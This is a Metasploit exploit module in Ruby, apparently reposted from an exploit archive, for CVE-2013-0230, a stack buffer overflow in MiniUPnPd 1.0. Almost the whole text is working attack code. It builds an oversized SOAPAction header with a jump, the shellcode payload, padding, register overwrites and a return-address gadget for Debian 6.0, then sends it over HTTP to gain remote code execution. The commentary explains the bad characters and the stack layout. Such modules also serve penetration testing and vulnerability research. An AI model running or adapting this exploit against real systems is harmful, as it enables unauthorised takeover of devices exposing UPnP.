MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution Exploit

:
06.06.2013
:
MiniUPnPd 1.0
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
Rank = NormalRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
'Description' => %q{
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
present in the SOAPAction HTTP header handling.
},
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'EXITFUNC' => 'process', },
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22",
'DisableNops' => true
},
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2013-0230' ],
[ 'OSVDB', '89624' ],
[ 'BID', '57608' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
],
'Targets' =>
[
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
{
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Mar 27 2013',
))

register_options([
Opt::RPORT(5555),
], self.class)
end

def exploit
#
# Build the SOAP Exploit
#
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
sploit = "\xeb\x2d"

# a valid action
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"

# payload
sploit += payload.encoded

# nops
sploit += rand_text(target['Offset'] - sploit.length - 16)

# overwrite registers on stack: the values are not used, so we can overwrite them with anything
sploit += rand_text(4) # overwrite EBX
sploit += rand_text(4) # overwrite ESI
sploit += rand_text(4) # overwrite EDI
sploit += rand_text(4) # overwrite EBP

# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
# stack points directly to the string after 'Soapaction: ', which is why we must
# throw the first value on the stack away, which we're doing with the pop ebp
# instruction. Then we're returning to the next value on the stack, which is
# exactly the address that we want.
sploit += [target.ret].pack('V')

# the ending " character is necessary for the vulnerability to be reached
sploit += "\""

# data sent in the POST body
data =
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
"<SOAP-ENV:Envelope\r\n" +
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
">\r\n" +
"<SOAP-ENV:Body>\r\n" +
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
"</ns1:action>\r\n" +
"</SOAP-ENV:Body>\r\n" +
"</SOAP-ENV:Envelope>\r\n"

#
# Build and send the HTTP request
#
print_status("Sending exploit to victim #{target.name} at ...")
send_request_cgi({
'method' => 'POST',
'uri' => "/",
'headers' => {
'SOAPAction' => sploit,
},
'data' => data,
})

# disconnect from the server
disconnect
end
end